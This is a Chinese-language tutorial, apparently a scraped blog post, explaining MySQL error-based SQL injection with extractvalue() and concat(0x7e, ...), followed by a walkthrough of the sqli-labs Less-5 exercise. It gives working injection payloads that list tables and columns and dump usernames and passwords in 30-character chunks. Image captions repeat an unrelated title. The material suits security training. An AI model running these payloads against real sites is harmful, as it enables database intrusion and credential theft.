目录

 一,注入原理

 二,实例(less-5)


 一,注入原理

函数extractValue()包含两个参数:

第一个参数是XML文档对象名,第二个参数是路径

以创建数据库ctfstu和数据表xml为示例,展示函数extractValue()的用法

1,先在ctfstu数据库内创建表xml

create database ctfstu charset utf8;
create table xml(doc varchar(150));

2,再在表中插入两段数据

INSERT INTO xml values('
                       <book>
                       <title>A bad boy how to get a girlfriend</title>
                       <author>
                       <initial>LOVE</initial>
                       <surname>benben</surname>
                       </author>
                       </book>
                       ');
INSERT INTO xml values('
                       <book>
                       <title>how to become a bad boy</title>
                       <author>
                       <initial>hualong</initial>
                       <surname>melton</surname>
                       </author>
                       </book>
                       ');

resample函数只返回了一个值 extractvalue只返回一个节点的值_安全

 3,使用extractvalue查询xml里面的内容

比如:

查询作者是谁:

select extractvalue(doc,'/book/author/surname') from xml;

resample函数只返回了一个值 extractvalue只返回一个节点的值_安全_02

查询书名:

select extractvalue(doc,'/book/title') from xml;

resample函数只返回了一个值 extractvalue只返回一个节点的值_sql_03

报错注入的突破口就是让页面上显示报错。

比如在本例中把查询参数的路径写错,页面上只会显示查询不到内容,但是不会报错。

但是如果把查询参数的格式符号写错,页面上就会提示出报错信息:

resample函数只返回了一个值 extractvalue只返回一个节点的值_mysql_04

由于路径错误,报错信息中显示出了路径信息。

于是我们想到,如果在报错之前执行一下select语句,然后在报错提醒信息那里回显出我们想要的数据信息就好了,这就是报错注入。

于是构造出一句:

注意:

在实际的注入过程中,查询的列(比如本例中的doc)是不用管的,随便写就可以。因为我们关注的是后面查询的更重要的东西(database)

0x7e就是~,concat函数是拼接的作用。作用是在执行这条命令时遇到前面的飘号~(0x7e)从而引起报错。

select extractvalue(doc,concat(0x7e,(select database()))) from xml;

如图回显出数据库的信息

 

resample函数只返回了一个值 extractvalue只返回一个节点的值_sql_05

 二,实例(less-5)

resample函数只返回了一个值 extractvalue只返回一个节点的值_mysql_06

利用extractvalue()报错注入

...尝试用union注入的方法拿数据,发现失败如下:

resample函数只返回了一个值 extractvalue只返回一个节点的值_数据库_07

?id=-1' union select 1,2,extractvalue(1,concat(0x7e,(select database()))),3 --+

 

resample函数只返回了一个值 extractvalue只返回一个节点的值_安全_08

 获取所需表名users:

?id=-1' and 1=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

resample函数只返回了一个值 extractvalue只返回一个节点的值_resample函数只返回了一个值_09

获取所需数据列名username和password

?id=-1' and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))) --+

resample函数只返回了一个值 extractvalue只返回一个节点的值_数据库_10

注意:报错注入默认值能返回32个字符串,所以我们需要用到substring函数

举个例子:

substring(123456,1,3)

这条命令的意思是,想要显示的内容123456,这句话的意思是从第一个字符开始显示,显示后面的三个,即123

下面这条命令的意思是从第一个字符开始显示,显示后面30个字符

?id=-1' union select 1,2,extractvalue(1,concat(0x7e,substring((select group_concat(username,password) from users),1,30)))

resample函数只返回了一个值 extractvalue只返回一个节点的值_数据库_11

 同理,从第31个字符开始显示,显示后面的30个字符。最终的结果拼接起来,就是我们想要的数据。

resample函数只返回了一个值 extractvalue只返回一个节点的值_安全_12